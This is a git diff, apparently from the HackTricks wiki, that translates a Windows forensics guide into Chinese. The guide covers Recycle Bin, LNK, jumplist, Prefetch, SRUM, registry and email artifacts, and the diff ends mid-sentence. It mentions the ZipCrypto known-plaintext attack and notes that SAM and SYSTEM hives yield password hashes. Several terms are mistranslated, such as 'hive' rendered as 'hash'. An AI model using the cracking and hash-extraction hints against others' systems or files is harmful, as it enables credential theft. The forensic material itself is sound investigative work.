**do not encrypt filenames or file sizes** within, a security flaw not shared with RAR or 7z files which encrypt this information. Furthermore, zip files encrypted with the older ZipCrypto method are vulnerable to a **plaintext attack** if an unencrypted copy of a compressed file is available. This attack leverages the known content to crack the zip's password, a vulnerability detailed in [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) and further explained in [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). However, zip files secured with **AES-256** encryption are immune to this plaintext attack, showcasing the importance of choosing secure encryption methods for sensitive data. +需要注意的是,受密码保护的 zip 文件 **不加密内部的文件名或文件大小**,这是一个与 RAR 或 7z 文件不同的安全缺陷,后者会加密这些信息。此外,使用较旧的 ZipCrypto 方法加密的 zip 文件在有未加密的压缩文件副本可用时容易受到 **明文攻击**。此攻击利用已知内容来破解 zip 的密码,这一漏洞在 [HackThis 的文章](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) 中有详细说明,并在 [这篇学术论文](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf) 中进一步解释。然而,使用 **AES-256** 加密的 zip 文件对这种明文攻击免疫,展示了为敏感数据选择安全加密方法的重要性。 ## References diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/README.md b/src/forensics/basic-forensic-methodology/windows-forensics/README.md index 08b2ede8c..64550efd1 100644 --- a/src/forensics/basic-forensic-methodology/windows-forensics/README.md +++ b/src/forensics/basic-forensic-methodology/windows-forensics/README.md @@ -1,514 +1,497 @@ -# Windows Artifacts +# Windows 证据 -## Windows Artifacts +## Windows 证据 {{#include ../../../banners/hacktricks-training.md}} -
-{% embed url="https://websec.nl/" %} +## 通用 Windows 证据 -## Generic Windows Artifacts +### Windows 10 通知 -### Windows 10 Notifications +在路径 `\Users\\AppData\Local\Microsoft\Windows\Notifications` 中可以找到数据库 `appdb.dat`(在 Windows 周年更新之前)或 `wpndatabase.db`(在 Windows 周年更新之后)。 -In the path `\Users\\AppData\Local\Microsoft\Windows\Notifications` you can find the database `appdb.dat` (before Windows anniversary) or `wpndatabase.db` (after Windows Anniversary). +在这个 SQLite 数据库中,可以找到 `Notification` 表,里面包含所有的通知(以 XML 格式),可能包含有趣的数据。 -Inside this SQLite database, you can find the `Notification` table with all the notifications (in XML format) that may contain interesting data. +### 时间线 -### Timeline +时间线是 Windows 的一个特性,提供 **访问过的网页、编辑的文档和执行的应用程序的时间顺序历史**。 -Timeline is a Windows characteristic that provides **chronological history** of web pages visited, edited documents, and executed applications. +数据库位于路径 `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`。这个数据库可以用 SQLite 工具打开,或者用工具 [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **生成的 2 个文件,这些文件可以用工具** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) **打开**。 -The database resides in the path `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. This database can be opened with an SQLite tool or with the tool [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **which generates 2 files that can be opened with the tool** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). +### ADS(备用数据流) -### ADS (Alternate Data Streams) +下载的文件可能包含 **ADS Zone.Identifier**,指示 **它是如何** 从内网、互联网等 **下载的**。一些软件(如浏览器)通常会提供更多 **信息**,例如 **文件下载的 URL**。 -Files downloaded may contain the **ADS Zone.Identifier** indicating **how** it was **downloaded** from the intranet, internet, etc. Some software (like browsers) usually put even **more** **information** like the **URL** from where the file was downloaded. +## **文件备份** -## **File Backups** +### 回收站 -### Recycle Bin +在 Vista/Win7/Win8/Win10 中,**回收站**可以在驱动器根目录的文件夹 **`$Recycle.bin`** 中找到(`C:\$Recycle.bin`)。\ +当一个文件在这个文件夹中被删除时,会创建 2 个特定的文件: -In Vista/Win7/Win8/Win10 the **Recycle Bin** can be found in the folder **`$Recycle.bin`** in the root of the drive (`C:\$Recycle.bin`).\ -When a file is deleted in this folder 2 specific files are created: - -- `$I{id}`: File information (date of when it was deleted} -- `$R{id}`: Content of the file +- `$I{id}`: 文件信息(删除日期) +- `$R{id}`: 文件内容 ![](<../../../images/image (486).png>) -Having these files you can use the tool [**Rifiuti**](https://github.com/abelcheung/rifiuti2) to get the original address of the deleted files and the date it was deleted (use `rifiuti-vista.exe` for Vista – Win10). - +拥有这些文件后,可以使用工具 [**Rifiuti**](https://github.com/abelcheung/rifiuti2) 获取已删除文件的原始地址和删除日期(使用 `rifiuti-vista.exe` 适用于 Vista – Win10)。 ``` .\rifiuti-vista.exe C:\Users\student\Desktop\Recycle ``` - ![](<../../../images/image (495) (1) (1) (1).png>) -### Volume Shadow Copies +### 卷影复制 -Shadow Copy is a technology included in Microsoft Windows that can create **backup copies** or snapshots of computer files or volumes, even when they are in use. +卷影复制是微软Windows中包含的一项技术,可以创建计算机文件或卷的**备份副本**或快照,即使在使用时也可以。 -These backups are usually located in the `\System Volume Information` from the root of the file system and the name is composed of **UIDs** shown in the following image: +这些备份通常位于文件系统根目录下的`\System Volume Information`中,名称由以下图像中显示的**UIDs**组成: ![](<../../../images/image (520).png>) -Mounting the forensics image with the **ArsenalImageMounter**, the tool [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) can be used to inspect a shadow copy and even **extract the files** from the shadow copy backups. +使用**ArsenalImageMounter**挂载取证镜像,可以使用工具[**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html)检查卷影复制,甚至**提取文件**。 ![](<../../../images/image (521).png>) -The registry entry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` contains the files and keys **to not backup**: +注册表项`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore`包含**不备份**的文件和键: ![](<../../../images/image (522).png>) -The registry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` also contains configuration information about the `Volume Shadow Copies`. +注册表`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS`也包含有关`卷影复制`的配置信息。 -### Office AutoSaved Files +### Office自动保存文件 -You can find the office autosaved files in: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` +您可以在以下位置找到Office自动保存的文件:`C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` -## Shell Items +## Shell项目 -A shell item is an item that contains information about how to access another file. +Shell项目是包含有关如何访问另一个文件的信息的项目。 -### Recent Documents (LNK) +### 最近文档 (LNK) -Windows **automatically** **creates** these **shortcuts** when the user **open, uses or creates a file** in: +Windows会在用户**打开、使用或创建文件**时**自动****创建**这些**快捷方式**: - Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\` - Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` -When a folder is created, a link to the folder, to the parent folder, and the grandparent folder is also created. +当创建一个文件夹时,还会创建指向该文件夹、父文件夹和祖父文件夹的链接。 -These automatically created link files **contain information about the origin** like if it's a **file** **or** a **folder**, **MAC** **times** of that file, **volume information** of where is the file stored and **folder of the target file**. This information can be useful to recover those files in case they were removed. +这些自动创建的链接文件**包含有关来源的信息**,例如它是一个**文件**还是一个**文件夹**、该文件的**MAC** **时间**、文件存储的**卷信息**以及**目标文件的文件夹**。这些信息在文件被删除的情况下可以用于恢复这些文件。 -Also, the **date created of the link** file is the first **time** the original file was **first** **used** and the **date** **modified** of the link file is the **last** **time** the origin file was used. +此外,链接文件的**创建日期**是原始文件**首次使用**的**时间**,而链接文件的**修改日期**是原始文件**最后使用**的**时间**。 -To inspect these files you can use [**LinkParser**](http://4discovery.com/our-tools/). +要检查这些文件,您可以使用[**LinkParser**](http://4discovery.com/our-tools/)。 -In this tools you will find **2 sets** of timestamps: +在此工具中,您将找到**2组**时间戳: -- **First Set:** - 1. FileModifiedDate - 2. FileAccessDate - 3. FileCreationDate -- **Second Set:** - 1. LinkModifiedDate - 2. LinkAccessDate - 3. LinkCreationDate. +- **第一组:** +1. FileModifiedDate +2. FileAccessDate +3. FileCreationDate +- **第二组:** +1. LinkModifiedDate +2. LinkAccessDate +3. LinkCreationDate。 -The first set of timestamp references the **timestamps of the file itself**. The second set references the **timestamps of the linked file**. - -You can get the same information running the Windows CLI tool: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) +第一组时间戳引用的是**文件本身的时间戳**。第二组引用的是**链接文件的时间戳**。 +您可以通过运行Windows CLI工具[**LECmd.exe**](https://github.com/EricZimmerman/LECmd)获取相同的信息。 ``` LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs ``` - -In this case, the information is going to be saved inside a CSV file. +在这种情况下,信息将保存在 CSV 文件中。 ### Jumplists -These are the recent files that are indicated per application. It's the list of **recent files used by an application** that you can access on each application. They can be created **automatically or be custom**. +这些是每个应用程序指示的最近文件。它是 **应用程序使用的最近文件列表**,您可以在每个应用程序上访问。它们可以 **自动创建或自定义**。 -The **jumplists** created automatically are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. The jumplists are named following the format `{id}.autmaticDestinations-ms` where the initial ID is the ID of the application. +自动创建的 **jumplists** 存储在 `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`。jumplists 的命名格式为 `{id}.autmaticDestinations-ms`,其中初始 ID 是应用程序的 ID。 -The custom jumplists are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` and they are created by the application usually because something **important** has happened with the file (maybe marked as favorite) +自定义的 jumplists 存储在 `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\`,通常是因为文件发生了某些 **重要** 事件(可能被标记为收藏)。 -The **created time** of any jumplist indicates the **the first time the file was accessed** and the **modified time the last time**. +任何 jumplist 的 **创建时间** 表示 **文件首次访问的时间**,**修改时间为最后一次**。 -You can inspect the jumplists using [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md). +您可以使用 [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md) 检查 jumplists。 ![](<../../../images/image (474).png>) -(_Note that the timestamps provided by JumplistExplorer are related to the jumplist file itself_) +(_请注意,JumplistExplorer 提供的时间戳与 jumplist 文件本身相关_) ### Shellbags -[**Follow this link to learn what are the shellbags.**](interesting-windows-registry-keys.md#shellbags) +[**点击此链接了解什么是 shellbags。**](interesting-windows-registry-keys.md#shellbags) -## Use of Windows USBs +## 使用 Windows USB -It's possible to identify that a USB device was used thanks to the creation of: +可以通过以下方式识别 USB 设备的使用: - Windows Recent Folder - Microsoft Office Recent Folder - Jumplists -Note that some LNK file instead of pointing to the original path, points to the WPDNSE folder: +请注意,一些 LNK 文件不是指向原始路径,而是指向 WPDNSE 文件夹: ![](<../../../images/image (476).png>) -The files in the folder WPDNSE are a copy of the original ones, then won't survive a restart of the PC and the GUID is taken from a shellbag. +WPDNSE 文件夹中的文件是原始文件的副本,因此在 PC 重启后不会保留,GUID 是从 shellbag 中获取的。 -### Registry Information +### 注册表信息 -[Check this page to learn](interesting-windows-registry-keys.md#usb-information) which registry keys contain interesting information about USB connected devices. +[查看此页面以了解](interesting-windows-registry-keys.md#usb-information) 哪些注册表键包含有关 USB 连接设备的有趣信息。 ### setupapi -Check the file `C:\Windows\inf\setupapi.dev.log` to get the timestamps about when the USB connection was produced (search for `Section start`). +检查文件 `C:\Windows\inf\setupapi.dev.log` 以获取 USB 连接发生时的时间戳(搜索 `Section start`)。 ![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>) ### USB Detective -[**USBDetective**](https://usbdetective.com) can be used to obtain information about the USB devices that have been connected to an image. +[**USBDetective**](https://usbdetective.com) 可用于获取有关已连接到图像的 USB 设备的信息。 ![](<../../../images/image (483).png>) ### Plug and Play Cleanup -The scheduled task known as 'Plug and Play Cleanup' is primarily designed for the removal of outdated driver versions. Contrary to its specified purpose of retaining the latest driver package version, online sources suggest it also targets drivers that have been inactive for 30 days. Consequently, drivers for removable devices not connected in the past 30 days may be subject to deletion. +名为“Plug and Play Cleanup”的计划任务主要用于删除过时的驱动程序版本。与其指定的保留最新驱动程序包版本的目的相反,在线来源表明它还针对过去 30 天未活动的驱动程序。因此,过去 30 天未连接的可移动设备的驱动程序可能会被删除。 -The task is located at the following path: -`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. +该任务位于以下路径: +`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`。 -A screenshot depicting the task's content is provided: +提供了任务内容的屏幕截图: ![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) -**Key Components and Settings of the Task:** +**任务的关键组件和设置:** -- **pnpclean.dll**: This DLL is responsible for the actual cleanup process. -- **UseUnifiedSchedulingEngine**: Set to `TRUE`, indicating the use of the generic task scheduling engine. -- **MaintenanceSettings**: - - **Period ('P1M')**: Directs the Task Scheduler to initiate the cleanup task monthly during regular Automatic maintenance. - - **Deadline ('P2M')**: Instructs the Task Scheduler, if the task fails for two consecutive months, to execute the task during emergency Automatic maintenance. +- **pnpclean.dll**:此 DLL 负责实际的清理过程。 +- **UseUnifiedSchedulingEngine**:设置为 `TRUE`,表示使用通用任务调度引擎。 +- **MaintenanceSettings**: +- **Period ('P1M')**:指示任务调度程序在常规自动维护期间每月启动清理任务。 +- **Deadline ('P2M')**:指示任务调度程序,如果任务连续两个月失败,则在紧急自动维护期间执行该任务。 -This configuration ensures regular maintenance and cleanup of drivers, with provisions for reattempting the task in case of consecutive failures. +此配置确保定期维护和清理驱动程序,并在连续失败的情况下重新尝试任务。 -**For more information check:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) +**有关更多信息,请查看:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) -## Emails +## 电子邮件 -Emails contain **2 interesting parts: The headers and the content** of the email. In the **headers** you can find information like: +电子邮件包含 **2 个有趣的部分:电子邮件的标题和内容**。在 **标题** 中,您可以找到以下信息: -- **Who** sent the emails (email address, IP, mail servers that have redirected the email) -- **When** was the email sent +- **谁** 发送了电子邮件(电子邮件地址、IP、重定向电子邮件的邮件服务器) +- **何时** 发送了电子邮件 -Also, inside the `References` and `In-Reply-To` headers you can find the ID of the messages: +此外,在 `References` 和 `In-Reply-To` 标头中,您可以找到消息的 ID: ![](<../../../images/image (484).png>) -### Windows Mail App +### Windows Mail 应用 -This application saves emails in HTML or text. You can find the emails inside subfolders inside `\Users\\AppData\Local\Comms\Unistore\data\3\`. The emails are saved with the `.dat` extension. +此应用程序以 HTML 或文本格式保存电子邮件。您可以在 `\Users\\AppData\Local\Comms\Unistore\data\3\` 的子文件夹中找到电子邮件。电子邮件以 `.dat` 扩展名保存。 -The **metadata** of the emails and the **contacts** can be found inside the **EDB database**: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` +电子邮件的 **元数据** 和 **联系人** 可以在 **EDB 数据库** 中找到: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` -**Change the extension** of the file from `.vol` to `.edb` and you can use the tool [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) to open it. Inside the `Message` table you can see the emails. +**将文件的扩展名** 从 `.vol` 更改为 `.edb`,您可以使用工具 [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) 打开它。在 `Message` 表中,您可以看到电子邮件。 ### Microsoft Outlook -When Exchange servers or Outlook clients are used there are going to be some MAPI headers: +当使用 Exchange 服务器或 Outlook 客户端时,将会有一些 MAPI 标头: -- `Mapi-Client-Submit-Time`: Time of the system when the email was sent -- `Mapi-Conversation-Index`: Number of children messages of the thread and timestamp of each message of the thread -- `Mapi-Entry-ID`: Message identifier. -- `Mappi-Message-Flags` and `Pr_last_Verb-Executed`: Information about the MAPI client (message read? no read? responded? redirected? out of the office?) +- `Mapi-Client-Submit-Time`:发送电子邮件时系统的时间 +- `Mapi-Conversation-Index`:线程的子消息数量和每条消息的时间戳 +- `Mapi-Entry-ID`:消息标识符。 +- `Mappi-Message-Flags` 和 `Pr_last_Verb-Executed`:有关 MAPI 客户端的信息(消息已读?未读?已回复?重定向?不在办公室?) -In the Microsoft Outlook client, all the sent/received messages, contacts data, and calendar data are stored in a PST file in: +在 Microsoft Outlook 客户端中,所有发送/接收的消息、联系人数据和日历数据都存储在 PST 文件中,路径为: -- `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP) +- `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook`(WinXP) - `%USERPROFILE%\AppData\Local\Microsoft\Outlook` -The registry path `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indicates the file that is being used. +注册表路径 `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` 指示正在使用的文件。 -You can open the PST file using the tool [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html). +您可以使用工具 [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html) 打开 PST 文件。 ![](<../../../images/image (485).png>) -### Microsoft Outlook OST Files +### Microsoft Outlook OST 文件 -An **OST file** is generated by Microsoft Outlook when it's configured with **IMAP** or an **Exchange** server, storing similar information to a PST file. This file is synchronized with the server, retaining data for **the last 12 months** up to a **maximum size of 50GB**, and is located in the same directory as the PST file. To view an OST file, the [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) can be utilized. +**OST 文件** 是 Microsoft Outlook 在配置为 **IMAP** 或 **Exchange** 服务器时生成的,存储与 PST 文件类似的信息。此文件与服务器同步,保留 **过去 12 个月** 的数据,最大大小为 50GB,并位于与 PST 文件相同的目录中。要查看 OST 文件,可以使用 [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html)。 -### Retrieving Attachments +### 检索附件 -Lost attachments might be recoverable from: +丢失的附件可能可以从以下位置恢复: -- For **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` -- For **IE11 and above**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` +- 对于 **IE10**:`%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` +- 对于 **IE11 及更高版本**:`%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` -### Thunderbird MBOX Files +### Thunderbird MBOX 文件 -**Thunderbird** utilizes **MBOX files** to store data, located at `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`. +**Thunderbird** 使用 **MBOX 文件** 存储数据,位于 `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`。 -### Image Thumbnails +### 图像缩略图 -- **Windows XP and 8-8.1**: Accessing a folder with thumbnails generates a `thumbs.db` file storing image previews, even after deletion. -- **Windows 7/10**: `thumbs.db` is created when accessed over a network via UNC path. -- **Windows Vista and newer**: Thumbnail previews are centralized in `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` with files named **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) and [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) are tools for viewing these files. +- **Windows XP 和 8-8.1**:访问带有缩略图的文件夹会生成一个 `thumbs.db` 文件,存储图像预览,即使在删除后也会保留。 +- **Windows 7/10**:通过 UNC 路径访问时会创建 `thumbs.db`。 +- **Windows Vista 及更高版本**:缩略图预览集中在 `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` 中,文件名为 **thumbcache_xxx.db**。 [**Thumbsviewer**](https://thumbsviewer.github.io) 和 [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) 是查看这些文件的工具。 -### Windows Registry Information +### Windows 注册表信息 -The Windows Registry, storing extensive system and user activity data, is contained within files in: +Windows 注册表存储大量系统和用户活动数据,包含在以下文件中: -- `%windir%\System32\Config` for various `HKEY_LOCAL_MACHINE` subkeys. -- `%UserProfile%{User}\NTUSER.DAT` for `HKEY_CURRENT_USER`. -- Windows Vista and later versions back up `HKEY_LOCAL_MACHINE` registry files in `%Windir%\System32\Config\RegBack\`. -- Additionally, program execution information is stored in `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` from Windows Vista and Windows 2008 Server onwards. +- `%windir%\System32\Config` 用于各种 `HKEY_LOCAL_MACHINE` 子键。 +- `%UserProfile%{User}\NTUSER.DAT` 用于 `HKEY_CURRENT_USER`。 +- Windows Vista 及更高版本在 `%Windir%\System32\Config\RegBack\` 中备份 `HKEY_LOCAL_MACHINE` 注册表文件。 +- 此外,程序执行信息存储在 `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` 中,从 Windows Vista 和 Windows 2008 Server 开始。 -### Tools +### 工具 -Some tools are useful to analyze the registry files: +一些工具对于分析注册表文件非常有用: -- **Registry Editor**: It's installed in Windows. It's a GUI to navigate through the Windows registry of the current session. -- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): It allows you to load the registry file and navigate through them with a GUI. It also contains Bookmarks highlighting keys with interesting information. -- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Again, it has a GUI that allows to navigate through the loaded registry and also contains plugins that highlight interesting information inside the loaded registry. -- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Another GUI application capable of extracting the important information from the registry loaded. +- **注册表编辑器**:它安装在 Windows 中。它是一个 GUI,用于浏览当前会话的 Windows 注册表。 +- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md):它允许您加载注册表文件并通过 GUI 浏览它们。它还包含书签,突出显示包含有趣信息的键。 +- [**RegRipper**](https://github.com/keydet89/RegRipper3.0):同样,它具有一个 GUI,允许浏览加载的注册表,并且还包含突出显示加载的注册表中有趣信息的插件。 +- [**Windows 注册表恢复**](https://www.mitec.cz/wrr.html):另一个 GUI 应用程序,能够从加载的注册表中提取重要信息。 -### Recovering Deleted Element +### 恢复已删除元素 -When a key is deleted it's marked as such, but until the space it's occupying is needed it won't be removed. Therefore, using tools like **Registry Explorer** it's possible to recover these deleted keys. +当一个键被删除时,它会被标记为已删除,但在占用的空间被需要之前不会被移除。因此,使用像 **Registry Explorer** 这样的工具可以恢复这些已删除的键。 -### Last Write Time +### 最后写入时间 -Each Key-Value contains a **timestamp** indicating the last time it was modified. +每个键值包含一个 **时间戳**,指示最后一次修改的时间。 ### SAM -The file/hive **SAM** contains the **users, groups and users passwords** hashes of the system. +文件/哈希 **SAM** 包含系统的 **用户、组和用户密码** 哈希。 -In `SAM\Domains\Account\Users` you can obtain the username, the RID, last login, last failed logon, login counter, password policy and when the account was created. To get the **hashes** you also **need** the file/hive **SYSTEM**. +在 `SAM\Domains\Account\Users` 中,您可以获取用户名、RID、最后登录、最后失败的登录、登录计数器、密码策略以及帐户创建时间。要获取 **哈希**,您还 **需要** 文件/哈希 **SYSTEM**。 -### Interesting entries in the Windows Registry +### Windows 注册表中的有趣条目 {{#ref}} interesting-windows-registry-keys.md {{#endref}} -## Programs Executed +## 执行的程序 -### Basic Windows Processes +### 基本 Windows 进程 -In [this post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) you can learn about the common Windows processes to detect suspicious behaviours. +在 [这篇文章](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) 中,您可以了解常见的 Windows 进程以检测可疑行为。 ### Windows Recent APPs -Inside the registry `NTUSER.DAT` in the path `Software\Microsoft\Current Version\Search\RecentApps` you can subkeys with information about the **application executed**, **last time** it was executed, and **number of times** it was launched. +在注册表 `NTUSER.DAT` 的路径 `Software\Microsoft\Current Version\Search\RecentApps` 中,您可以找到有关 **执行的应用程序**、**最后一次** 执行的时间和 **启动次数** 的子键。 -### BAM (Background Activity Moderator) +### BAM (后台活动调节器) -You can open the `SYSTEM` file with a registry editor and inside the path `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` you can find the information about the **applications executed by each user** (note the `{SID}` in the path) and at **what time** they were executed (the time is inside the Data value of the registry). +您可以使用注册表编辑器打开 `SYSTEM` 文件,在路径 `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` 中找到有关 **每个用户执行的应用程序** 的信息(注意路径中的 `{SID}`)以及 **执行的时间**(时间在注册表的 Data 值中)。 ### Windows Prefetch -Prefetching is a technique that allows a computer to silently **fetch the necessary resources needed to display content** that a user **might access in the near future** so resources can be accessed quicker. +预取是一种技术,允许计算机静默 **获取用户可能在不久的将来访问的内容所需的资源**,以便更快地访问资源。 -Windows prefetch consists of creating **caches of the executed programs** to be able to load them faster. These caches as created as `.pf` files inside the path: `C:\Windows\Prefetch`. There is a limit of 128 files in XP/VISTA/WIN7 and 1024 files in Win8/Win10. +Windows 预取由创建 **已执行程序的缓存** 组成,以便能够更快地加载它们。这些缓存作为 `.pf` 文件创建,路径为: `C:\Windows\Prefetch`。在 XP/VISTA/WIN7 中限制为 128 个文件,在 Win8/Win10 中限制为 1024 个文件。 -The file name is created as `{program_name}-{hash}.pf` (the hash is based on the path and arguments of the executable). In W10 these files are compressed. Do note that the sole presence of the file indicates that **the program was executed** at some point. +文件名的格式为 `{program_name}-{hash}.pf`(哈希基于可执行文件的路径和参数)。在 W10 中,这些文件是压缩的。请注意,文件的存在仅表示 **程序在某个时刻被执行**。 -The file `C:\Windows\Prefetch\Layout.ini` contains the **names of the folders of the files that are prefetched**. This file contains **information about the number of the executions**, **dates** of the execution and **files** **open** by the program. - -To inspect these files you can use the tool [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd): +文件 `C:\Windows\Prefetch\Layout.ini` 包含 **被预取文件的文件夹名称**。该文件包含 **执行次数**、**执行日期** 和 **程序打开的文件** 的信息。 +要检查这些文件,您可以使用工具 [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd): ```bash .\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder" ``` - ![](<../../../images/image (487).png>) ### Superprefetch -**Superprefetch** has the same goal as prefetch, **load programs faster** by predicting what is going to be loaded next. However, it doesn't substitute the prefetch service.\ -This service will generate database files in `C:\Windows\Prefetch\Ag*.db`. +**Superprefetch** 的目标与预取相同,**通过预测将要加载的内容来更快地加载程序**。然而,它并不替代预取服务。\ +该服务将在 `C:\Windows\Prefetch\Ag*.db` 中生成数据库文件。 -In these databases you can find the **name** of the **program**, **number** of **executions**, **files** **opened**, **volume** **accessed**, **complete** **path**, **timeframes** and **timestamps**. +在这些数据库中,您可以找到 **程序的名称**、**执行次数**、**打开的文件**、**访问的卷**、**完整路径**、**时间范围** 和 **时间戳**。 -You can access this information using the tool [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). +您可以使用工具 [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/) 访问这些信息。 ### SRUM -**System Resource Usage Monitor** (SRUM) **monitors** the **resources** **consumed** **by a process**. It appeared in W8 and it stores the data in an ESE database located in `C:\Windows\System32\sru\SRUDB.dat`. +**系统资源使用监视器** (SRUM) **监视** **进程消耗的资源**。它出现在 W8 中,并将数据存储在位于 `C:\Windows\System32\sru\SRUDB.dat` 的 ESE 数据库中。 -It gives the following information: +它提供以下信息: -- AppID and Path -- User that executed the process -- Sent Bytes -- Received Bytes -- Network Interface -- Connection duration -- Process duration +- AppID 和路径 +- 执行该进程的用户 +- 发送的字节 +- 接收的字节 +- 网络接口 +- 连接持续时间 +- 进程持续时间 -This information is updated every 60 mins. - -You can obtain the date from this file using the tool [**srum_dump**](https://github.com/MarkBaggett/srum-dump). +这些信息每 60 分钟更新一次。 +您可以使用工具 [**srum_dump**](https://github.com/MarkBaggett/srum-dump) 从该文件中获取日期。 ```bash .\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum ``` - ### AppCompatCache (ShimCache) -The **AppCompatCache**, also known as **ShimCache**, forms a part of the **Application Compatibility Database** developed by **Microsoft** to tackle application compatibility issues. This system component records various pieces of file metadata, which include: +**AppCompatCache**,也称为 **ShimCache**,是 **Microsoft** 开发的 **应用程序兼容性数据库** 的一部分,用于解决应用程序兼容性问题。该系统组件记录了各种文件元数据,包括: -- Full path of the file -- Size of the file -- Last Modified time under **$Standard_Information** (SI) -- Last Updated time of the ShimCache -- Process Execution Flag +- 文件的完整路径 +- 文件的大小 +- 在 **$Standard_Information** (SI) 下的最后修改时间 +- ShimCache 的最后更新时间 +- 进程执行标志 -Such data is stored within the registry at specific locations based on the version of the operating system: +这些数据根据操作系统的版本存储在注册表的特定位置: -- For XP, the data is stored under `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` with a capacity for 96 entries. -- For Server 2003, as well as for Windows versions 2008, 2012, 2016, 7, 8, and 10, the storage path is `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, accommodating 512 and 1024 entries, respectively. +- 对于 XP,数据存储在 `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` 下,最多可容纳 96 条目。 +- 对于 Server 2003,以及 Windows 版本 2008、2012、2016、7、8 和 10,存储路径为 